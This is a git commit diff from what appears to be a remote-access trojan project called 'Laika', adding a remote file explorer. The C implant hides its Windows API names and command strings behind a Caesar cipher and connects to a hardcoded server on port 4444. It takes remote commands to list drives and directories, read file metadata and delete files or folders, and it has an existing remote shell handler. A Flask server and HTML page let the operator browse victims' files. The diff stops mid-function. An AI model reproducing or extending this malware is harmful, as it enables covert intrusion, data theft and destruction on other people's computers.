ajout du file explorer
reste à fix le get_file_info, ajouter le download/upload/delete
This commit is contained in:
@@ -1,4 +1,5 @@
|
|||||||
#include "file_explorer.h"
|
#include "file_explorer.h"
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
int delete_file(char* path) {
|
int delete_file(char* path) {
|
||||||
return Api.remove(path);
|
return Api.remove(path);
|
||||||
@@ -12,7 +13,22 @@ int get_object_info(char* path, struct stat* fileinfo) {
|
|||||||
return Api.stat(path, fileinfo);
|
return Api.stat(path, fileinfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
char** get_file_list(const char* dirPath, int* numFiles) {
|
int get_drives_list(char* buf) {
|
||||||
|
DWORD drives = Api.GetLogicalDrives(); // get a bitmask of available drives
|
||||||
|
int count = 0; // number of drives found so far
|
||||||
|
|
||||||
|
for (int i = 0; i < MAX_DRIVES; i++) {
|
||||||
|
if (drives & (1 << i)) { // check if drive letter is present in bitmask
|
||||||
|
buf[count++] = 'A' + i; // add drive letter to buffer
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
buf[count++] = '\0'; // add null terminator to buffer
|
||||||
|
|
||||||
|
return count; // return number of drives found
|
||||||
|
}
|
||||||
|
|
||||||
|
char* get_file_list(const char* dirPath, int* numFiles) {
|
||||||
WIN32_FIND_DATA findData;
|
WIN32_FIND_DATA findData;
|
||||||
HANDLE hFind;
|
HANDLE hFind;
|
||||||
|
|
||||||
@@ -26,65 +42,60 @@ char** get_file_list(const char* dirPath, int* numFiles) {
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Allocate a dynamic array to store the file names
|
// Allocate a dynamic array to store the file/folder names
|
||||||
int maxFiles = 100;
|
int maxFiles = BUFFER_SIZE;
|
||||||
char** fileList = (char**)Api.malloc(maxFiles * sizeof(char*));
|
char** fileList = (char**)Api.malloc(maxFiles * sizeof(char*));
|
||||||
int numFound = 0;
|
int numFound = 0;
|
||||||
|
|
||||||
do {
|
do {
|
||||||
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
// Convert the file/folder name to a char string
|
||||||
continue; // Ignore directories
|
|
||||||
}
|
|
||||||
|
|
||||||
// Convert the file name to a char string
|
|
||||||
WCHAR wFileName[MAX_PATH];
|
WCHAR wFileName[MAX_PATH];
|
||||||
wcscpy(wFileName, findData.cFileName);
|
wcscpy(wFileName, findData.cFileName);
|
||||||
char fileName[MAX_PATH];
|
char fileName[MAX_PATH];
|
||||||
Api.wcstombs(fileName, wFileName, MAX_PATH);
|
Api.wcstombs(fileName, wFileName, MAX_PATH);
|
||||||
|
|
||||||
// Add the file name to the array
|
// Ignore the "." and ".." folders
|
||||||
|
if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Add the file/folder name to the array
|
||||||
if (numFound >= maxFiles) {
|
if (numFound >= maxFiles) {
|
||||||
maxFiles *= 2;
|
maxFiles *= 2;
|
||||||
fileList = (char**)Api.realloc(fileList, maxFiles * sizeof(char*));
|
fileList = (char**)Api.realloc(fileList, maxFiles * sizeof(char*));
|
||||||
}
|
}
|
||||||
fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
|
fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
|
||||||
Api.strcpy(fileList[numFound], fileName);
|
Api.strcpy(fileList[numFound], CAESAR(fileName));
|
||||||
numFound++;
|
numFound++;
|
||||||
} while (FindNextFile(hFind, &findData) != 0);
|
} while (FindNextFile(hFind, &findData) != 0);
|
||||||
|
|
||||||
Api.FindClose(hFind);
|
Api.FindClose(hFind);
|
||||||
|
|
||||||
// Resize the array to the actual number of files found
|
// Allocate a buffer to store the concatenated file/folder names separated by "/"
|
||||||
fileList = (char**)Api.realloc(fileList, numFound * sizeof(char*));
|
int bufferSize = 0;
|
||||||
|
for (int i = 0; i < numFound; i++) {
|
||||||
|
bufferSize += strlen(fileList[i]) + 1; // add 1 for the separator
|
||||||
|
}
|
||||||
|
char* fileNames = (char*)Api.malloc(bufferSize);
|
||||||
|
fileNames[0] = '\0';
|
||||||
|
|
||||||
// Set the numFiles parameter to the number of files found
|
// Concatenate the file/folder names separated by "/"
|
||||||
|
for (int i = 0; i < numFound; i++) {
|
||||||
|
strcat(fileNames, fileList[i]);
|
||||||
|
if (i < numFound - 1) {
|
||||||
|
strcat(fileNames, "/");
|
||||||
|
}
|
||||||
|
Api.free(fileList[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
Api.free(fileList);
|
||||||
|
|
||||||
|
// Set the numFiles parameter to the number of files/folders found
|
||||||
*numFiles = numFound;
|
*numFiles = numFound;
|
||||||
|
|
||||||
return fileList;
|
return fileNames;
|
||||||
|
|
||||||
/*
|
|
||||||
const char* dirPath = "C:\\Users\\UserName\\Documents\\ExampleDirectory"; // Replace with the path to the directory you want to list
|
|
||||||
|
|
||||||
int numFiles;
|
|
||||||
char** fileList = listFiles(dirPath, &numFiles);
|
|
||||||
|
|
||||||
if (fileList == NULL) {
|
|
||||||
printf("Error listing files\n");
|
|
||||||
return 1;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Print the list of files
|
|
||||||
for (int i = 0; i < numFiles; i++) {
|
|
||||||
printf("%s\n", fileList[i]);
|
|
||||||
free(fileList[i]);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Free the array and its contents
|
|
||||||
free(fileList);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
*/
|
|
||||||
}
|
|
||||||
|
|
||||||
void download_file() {
|
void download_file() {
|
||||||
|
|
||||||
|
|||||||
@@ -7,12 +7,18 @@
|
|||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include "resolve_apis.h"
|
#include "resolve_apis.h"
|
||||||
|
|
||||||
|
#define BUFFER_SIZE 4096
|
||||||
|
|
||||||
|
// Define the maximum number of drives that we can handle
|
||||||
|
#define MAX_DRIVES 26
|
||||||
|
|
||||||
extern API Api;
|
extern API Api;
|
||||||
|
|
||||||
int delete_file(char* path);
|
int delete_file(char* path);
|
||||||
int delete_dir(char* path);
|
int delete_dir(char* path);
|
||||||
int get_object_info(char* path, struct stat* fileinfo);
|
int get_object_info(char* path, struct stat* fileinfo);
|
||||||
char** get_file_list(const char* dirPath, int* numFiles);
|
int get_drives_list(char* buf);
|
||||||
|
char* get_file_list(const char* dirPath, int* numFiles);
|
||||||
void download_file();
|
void download_file();
|
||||||
void download_folder();
|
void download_folder();
|
||||||
void upload_file();
|
void upload_file();
|
||||||
160
Laika/main.c
160
Laika/main.c
@@ -183,6 +183,166 @@ retry:
|
|||||||
goto retry;
|
goto retry;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (Api.strncmp(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file
|
||||||
|
char* path = (char*)Api.malloc(MAX_PATH);
|
||||||
|
|
||||||
|
//Receive a reply from the server
|
||||||
|
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||||
|
{
|
||||||
|
//recv failed
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
delete_file(path);
|
||||||
|
|
||||||
|
if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done
|
||||||
|
//send failed
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Api.free(path);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Api.strncmp(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir
|
||||||
|
char* path = (char*)Api.malloc(MAX_PATH);
|
||||||
|
|
||||||
|
//Receive a reply from the server
|
||||||
|
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||||
|
{
|
||||||
|
//recv failed
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
delete_dir(path);
|
||||||
|
|
||||||
|
if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done
|
||||||
|
//send failed
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info
|
||||||
|
char* path = (char*)Api.malloc(MAX_PATH);
|
||||||
|
struct stat fileinfo;
|
||||||
|
|
||||||
|
//Receive a reply from the server
|
||||||
|
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||||
|
{
|
||||||
|
//recv failed
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo);
|
||||||
|
if (st != 0) {
|
||||||
|
|
||||||
|
if (Api.send(sock, CAESAR("N/N"), sizeof(CAESAR("N/N")), 0) < 0) {
|
||||||
|
//send failed
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Api.free(path);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
time_t mtime = fileinfo.st_mtime;
|
||||||
|
struct tm* mtime_tm = Api._localtime64(&mtime);
|
||||||
|
char mtime_str[30];
|
||||||
|
char sizeStr[20];
|
||||||
|
Api.strftime(mtime_str, 30, CAESAR_DECRYPT("*^2*r2*i%*M?*R?*X"), mtime_tm);
|
||||||
|
|
||||||
|
// Concatenate the file size and modified time strings separated by "/"
|
||||||
|
Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size);
|
||||||
|
int bufferSize = strlen(sizeStr) + 1 + strlen(mtime_str) + 1; // add 1 for the separator and the null terminator
|
||||||
|
char* fileInfoStr = (char*)Api.malloc(bufferSize);
|
||||||
|
Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str);
|
||||||
|
|
||||||
|
if (Api.send(sock, fileInfoStr, sizeof(fileInfoStr), 0) < 0) {
|
||||||
|
//send failed
|
||||||
|
Api.free(path);
|
||||||
|
Api.free(fileInfoStr);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Api.free(fileInfoStr);
|
||||||
|
Api.free(path);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Api.strncmp(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives
|
||||||
|
char* drives = (char*)Api.malloc(MAX_PATH);
|
||||||
|
|
||||||
|
get_drives_list(drives);
|
||||||
|
|
||||||
|
if (Api.send(sock, drives, strlen(drives), 0) < 0) {
|
||||||
|
//send failed
|
||||||
|
Api.free(drives);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Api.free(drives);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Api.strncmp(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list
|
||||||
|
char* file_list = (char*)Api.malloc(BUFFER_SIZE);
|
||||||
|
char* path = (char*)Api.malloc(MAX_PATH);
|
||||||
|
|
||||||
|
//Receive a reply from the server
|
||||||
|
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||||
|
{
|
||||||
|
//recv failed
|
||||||
|
Api.free(file_list);
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
int num_files;
|
||||||
|
file_list = get_file_list(CAESAR_DECRYPT(path), &num_files);
|
||||||
|
|
||||||
|
if (file_list == NULL) {
|
||||||
|
Api.free(file_list);
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (Api.send(sock, file_list, strlen(file_list), 0) < 0) {
|
||||||
|
//send failed
|
||||||
|
Api.free(file_list);
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Api.free(path);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Api.strncmp(server_reply, "it|sqtfidinw", strlen("it|sqtfidinw")) == 0) { //download_dir
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
|
if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
|
||||||
// Set the socket as standard output and error
|
// Set the socket as standard output and error
|
||||||
SECURITY_ATTRIBUTES sa;
|
SECURITY_ATTRIBUTES sa;
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ void InitApis() {
|
|||||||
Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx"));
|
Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx"));
|
||||||
Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
|
Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
|
||||||
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
|
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
|
||||||
|
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
|
||||||
|
|
||||||
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
||||||
if (!hMsvcrt) {
|
if (!hMsvcrt) {
|
||||||
@@ -43,6 +44,9 @@ void InitApis() {
|
|||||||
Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk"));
|
Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk"));
|
||||||
Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth"));
|
Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth"));
|
||||||
Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx"));
|
Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx"));
|
||||||
|
Api._localtime64 = (T_localtime64)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dqthfqynrj;9"));
|
||||||
|
Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj"));
|
||||||
|
Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk"));
|
||||||
|
|
||||||
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
|
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
|
||||||
if (!hWininet) {
|
if (!hWininet) {
|
||||||
|
|||||||
@@ -28,6 +28,9 @@ typedef int(WINAPI* Tstat)(char const* const, struct stat* const);
|
|||||||
typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...);
|
typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...);
|
||||||
typedef void*(WINAPI* Trealloc)(void*, size_t);
|
typedef void*(WINAPI* Trealloc)(void*, size_t);
|
||||||
typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
|
typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
|
||||||
|
typedef struct tm* (WINAPI* T_localtime64)(__time64_t const*);
|
||||||
|
typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*);
|
||||||
|
typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...);
|
||||||
|
|
||||||
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||||
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||||
@@ -43,6 +46,7 @@ typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT);
|
|||||||
typedef BOOL(WINAPI* TFreeLibrary)(HMODULE);
|
typedef BOOL(WINAPI* TFreeLibrary)(HMODULE);
|
||||||
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
||||||
typedef BOOL(WINAPI* TFindClose)(HANDLE);
|
typedef BOOL(WINAPI* TFindClose)(HANDLE);
|
||||||
|
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
|
||||||
|
|
||||||
typedef struct ApiList {
|
typedef struct ApiList {
|
||||||
Tconnect connect;
|
Tconnect connect;
|
||||||
@@ -74,6 +78,7 @@ typedef struct ApiList {
|
|||||||
TFreeLibrary FreeLibrary;
|
TFreeLibrary FreeLibrary;
|
||||||
TGetProcAddress GetProcAddress;
|
TGetProcAddress GetProcAddress;
|
||||||
TFindClose FindClose;
|
TFindClose FindClose;
|
||||||
|
TGetLogicalDrives GetLogicalDrives;
|
||||||
|
|
||||||
Tmbstowcs mbstowcs;
|
Tmbstowcs mbstowcs;
|
||||||
Twcstombs wcstombs;
|
Twcstombs wcstombs;
|
||||||
@@ -83,6 +88,9 @@ typedef struct ApiList {
|
|||||||
Tstat stat;
|
Tstat stat;
|
||||||
Tsprintf sprintf;
|
Tsprintf sprintf;
|
||||||
Trealloc realloc;
|
Trealloc realloc;
|
||||||
|
T_localtime64 _localtime64;
|
||||||
|
Tstrftime strftime;
|
||||||
|
T_snprintf _snprintf;
|
||||||
} API;
|
} API;
|
||||||
|
|
||||||
void InitApis();
|
void InitApis();
|
||||||
|
|||||||
BIN
Server/FileExplorer/images/bg.gif
Normal file
BIN
Server/FileExplorer/images/bg.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
BIN
Server/FileExplorer/images/spike.jpg
Normal file
BIN
Server/FileExplorer/images/spike.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 16 KiB |
89
Server/FileExplorer/index.html
Normal file
89
Server/FileExplorer/index.html
Normal file
@@ -0,0 +1,89 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Laika - File Explorer</title>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<link rel="stylesheet" href="https://cdn.datatables.net/1.11.3/css/dataTables.bootstrap5.min.css">
|
||||||
|
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
|
||||||
|
<script src="https://cdn.datatables.net/1.11.3/js/jquery.dataTables.min.js"></script>
|
||||||
|
<script src="https://cdn.datatables.net/1.11.3/js/dataTables.bootstrap5.min.js"></script>
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
|
||||||
|
<div class="header">
|
||||||
|
<a href="/">
|
||||||
|
<a href="./index.html"><img alt="Spike" src="images/spike.jpg" id="spike"></a>
|
||||||
|
</a>
|
||||||
|
<div class="menu">
|
||||||
|
<h1 id="titre">Là où finit l'État, commence l'arc-en-ciel</h1>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<br><br><br>
|
||||||
|
<table id="explorer"
|
||||||
|
class="table table-striped table-bordered"
|
||||||
|
style="width:100%"
|
||||||
|
data-pagination="false"
|
||||||
|
data-show-pagination-switch="false">
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th data-sortable="true">Nom</th>
|
||||||
|
<th data-sortable="false" data-width="150">Modifié le</th>
|
||||||
|
<th data-sortable="true" data-width="25">Taille</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
$(document).ready(function() {
|
||||||
|
var table = $('#explorer').DataTable({
|
||||||
|
"bPaginate": false,
|
||||||
|
"bLengthChange": false,
|
||||||
|
"bFilter": false,
|
||||||
|
"bInfo": false,
|
||||||
|
"bAutoWidth": false,
|
||||||
|
"ajax": {
|
||||||
|
"url": "/get_data",
|
||||||
|
"type": "POST",
|
||||||
|
"contentType": "application/json",
|
||||||
|
"data": function(d) {
|
||||||
|
return JSON.stringify(d);
|
||||||
|
},
|
||||||
|
"dataSrc": function(json) {
|
||||||
|
return json.data;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"columns": [
|
||||||
|
{ "data": "url" },
|
||||||
|
{ "data": "modified" },
|
||||||
|
{ "data": "size" }
|
||||||
|
]
|
||||||
|
});
|
||||||
|
// add click event listener to table rows
|
||||||
|
$('#explorer tbody').on('click', 'tr', function() {
|
||||||
|
// fetch data from the server and update the table
|
||||||
|
// Get the clicked element's text
|
||||||
|
var clickedText = $('#explorer').DataTable().cell(this, 0).data();
|
||||||
|
|
||||||
|
// Send an AJAX request to the Flask app to retrieve the updated data
|
||||||
|
$.ajax({
|
||||||
|
type: 'POST',
|
||||||
|
url: '/get_data',
|
||||||
|
contentType : "text/plain",
|
||||||
|
data: {folder_path: clickedText},
|
||||||
|
success: function(data) {
|
||||||
|
// Update the data table with the new data
|
||||||
|
$('#explorer').DataTable().clear();
|
||||||
|
$('#explorer').DataTable().rows.add(data.data);
|
||||||
|
$('#explorer').DataTable().draw();
|
||||||
|
},
|
||||||
|
error: function(xhr, status, error) {
|
||||||
|
console.error('Error retrieving data: ' + error);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
95
Server/FileExplorer/style.css
Normal file
95
Server/FileExplorer/style.css
Normal file
@@ -0,0 +1,95 @@
|
|||||||
|
#spike {
|
||||||
|
float: left;
|
||||||
|
border-style:solid;
|
||||||
|
border-color:#0004ff;
|
||||||
|
border-width: 1px;
|
||||||
|
width: 8%;
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* unvisited link */
|
||||||
|
a:link {
|
||||||
|
color: #FFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* visited link */
|
||||||
|
a:visited {
|
||||||
|
color: #FFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* mouse over link */
|
||||||
|
a:hover {
|
||||||
|
color: #5660f1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* selected link */
|
||||||
|
a:active {
|
||||||
|
color: #686bff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header {
|
||||||
|
width: auto;
|
||||||
|
height: auto;
|
||||||
|
overflow:auto;
|
||||||
|
background-color: rgba(18,24,217,0.5);
|
||||||
|
top: 0;
|
||||||
|
left:0px;
|
||||||
|
right:0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.menu {
|
||||||
|
font-weight: bold;
|
||||||
|
float: left;
|
||||||
|
margin-top: 5.2%;
|
||||||
|
margin-left: 0.5%;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
background: url(../images/bg.gif) repeat 0 0;
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
p {
|
||||||
|
font-size: large;
|
||||||
|
margin-left: 3px;
|
||||||
|
margin-bottom: -5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
a {
|
||||||
|
overflow: hidden;
|
||||||
|
font-size: 150%;
|
||||||
|
}
|
||||||
|
|
||||||
|
#titre {
|
||||||
|
position: relative;
|
||||||
|
left: 75%;
|
||||||
|
top: -20px;
|
||||||
|
margin-top: -7%;
|
||||||
|
}
|
||||||
|
|
||||||
|
td, th {
|
||||||
|
border: 1px solid #dddddd;
|
||||||
|
text-align: left;
|
||||||
|
padding: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
th {
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
td:nth-child(1) { /* targets the first column */
|
||||||
|
cursor: pointer;
|
||||||
|
margin-left: 20%;
|
||||||
|
}
|
||||||
|
|
||||||
|
td:nth-child(1):hover {
|
||||||
|
color: #5660f1;
|
||||||
|
}
|
||||||
|
|
||||||
|
td:nth-child(2) { /* targets the second column */
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
td:nth-child(3) { /* targets the third column */
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
120
Server/Server.py
120
Server/Server.py
@@ -1,10 +1,13 @@
|
|||||||
from colorama import Fore, Style
|
from colorama import Fore, Style
|
||||||
from prettytable import PrettyTable
|
from prettytable import PrettyTable
|
||||||
from geoip import geolite2
|
from geoip import geolite2
|
||||||
|
from flask import Flask, request, send_file, render_template, send_from_directory, jsonify
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
import os, sys, time
|
import os, sys, time
|
||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
|
import logging
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
ADRESSE = "192.168.1.35"#socket.gethostname()
|
ADRESSE = "192.168.1.35"#socket.gethostname()
|
||||||
PORT = 4444
|
PORT = 4444
|
||||||
@@ -38,6 +41,92 @@ def CAESAR_DECRYPT(in_s: str) -> str :
|
|||||||
r+=" "
|
r+=" "
|
||||||
return r
|
return r
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
# Disable Flask's default logging
|
||||||
|
#log = logging.getLogger('werkzeug')
|
||||||
|
#log.disabled = True
|
||||||
|
|
||||||
|
@app.route('/<path:filename>')
|
||||||
|
def serve_file(filename):
|
||||||
|
file_path = os.path.join(app.root_path, 'FileExplorer', filename)
|
||||||
|
return send_from_directory(os.path.dirname(file_path), os.path.basename(file_path))
|
||||||
|
|
||||||
|
@app.route('/')
|
||||||
|
def index() :
|
||||||
|
index_path = os.path.join(os.getcwd(), 'FileExplorer/index.html')
|
||||||
|
return send_file(index_path)
|
||||||
|
|
||||||
|
path_file_ex = ""
|
||||||
|
@app.route('/get_data', methods=['POST'])
|
||||||
|
def get_data() :
|
||||||
|
global path_file_ex
|
||||||
|
data = []
|
||||||
|
|
||||||
|
got_path = request.get_data().decode("latin-1")
|
||||||
|
got_path = urllib.parse.unquote_plus(got_path)
|
||||||
|
if got_path and got_path != "{}" :
|
||||||
|
got_path = got_path.replace("<a>","").replace("</a>","").replace("folder_path=","")
|
||||||
|
|
||||||
|
if got_path == ".." :
|
||||||
|
folders = path_file_ex.split("/")
|
||||||
|
if folders != [".."] and folders != [""] :
|
||||||
|
folders.pop()
|
||||||
|
folders.pop()
|
||||||
|
path_file_ex = '/'.join(folders)
|
||||||
|
if path_file_ex != "" :
|
||||||
|
path_file_ex += "/"
|
||||||
|
else :
|
||||||
|
path_file_ex += got_path + "/"
|
||||||
|
|
||||||
|
i = -1
|
||||||
|
print(path_file_ex.split("/"))
|
||||||
|
|
||||||
|
if CONNECT_CLIENTS != [] :
|
||||||
|
data.append({"url" : f"<a>..</a>", "modified":"", "size" : ""})
|
||||||
|
|
||||||
|
for client in CONNECT_CLIENTS :
|
||||||
|
i += 1
|
||||||
|
if len(path_file_ex.split("/")) == 1 or path_file_ex == "" :
|
||||||
|
data.append({"url" : f"<a>Client n°{i}</a>", "modified":"", "size" : ""})
|
||||||
|
continue
|
||||||
|
|
||||||
|
if len(path_file_ex.split("/")) == 2 :
|
||||||
|
#getting drive letters
|
||||||
|
path_parts = path_file_ex.split("/")
|
||||||
|
client_num = int(path_parts.pop(0).replace("Client n°",""))
|
||||||
|
if client_num != i : continue
|
||||||
|
client.send(CAESAR("get_drives").encode())
|
||||||
|
drives = recv_message_ret(client).decode("utf-8")
|
||||||
|
for d in drives :
|
||||||
|
data.append({"url": f"<a>{d}</a>", "modified": "", "size":""})
|
||||||
|
continue
|
||||||
|
|
||||||
|
else :
|
||||||
|
client.send(CAESAR("get_file_list").encode())
|
||||||
|
path_parts = path_file_ex.split("/")
|
||||||
|
client_num = int(path_parts.pop(0).replace("Client n°",""))
|
||||||
|
if client_num != i : continue
|
||||||
|
path_parts[0] = path_parts[0] + ":"
|
||||||
|
path_file_ex_2 = '/'.join(path_parts)
|
||||||
|
client.send(CAESAR(path_file_ex_2 + "\0").encode())
|
||||||
|
|
||||||
|
files = recv_message_ret(client).decode("latin-1")
|
||||||
|
for f in files.split("/") :
|
